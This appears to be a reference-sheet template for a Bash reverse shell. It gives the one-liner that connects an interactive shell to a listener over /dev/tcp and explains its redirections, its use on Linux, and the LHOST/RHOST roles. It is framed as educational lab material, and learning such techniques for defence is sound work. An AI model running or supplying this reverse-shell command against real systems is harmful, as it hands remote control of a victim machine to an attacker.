bash.sh // TEMPLATE_STRUCTURE

# [!] PROTOCOL: BASH_REVERSE_SHELL
# [!] PURPOSE: EDUCATIONAL_REFERENCE_ONLY
# [!] CONFIG: LHOST=127.0.0.1, LPORT=4444

bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

Note: This is a structured template. Ensure proper sanitization and context before use in lab environments.

How it works

Uses Bash's internal /dev/tcp device driver to create a TCP connection. The -i flag starts an interactive shell, and >& redirects stdout and stderr to the socket. 0>&1 redirects stdin from the socket.

Use Case & Context

Commonly used in Linux environments where Bash is available and /dev/tcp support is enabled (standard in many distributions).

Does not require external binaries like Netcat or Python.

LHOST (Local Host)

The IP of the machine waiting for the connection (the attacker's machine).

RHOST (Remote Host)

The IP of the target machine initiating the contact.

Persistence

Shells are usually transient. Understanding how they stay open is key to learning.
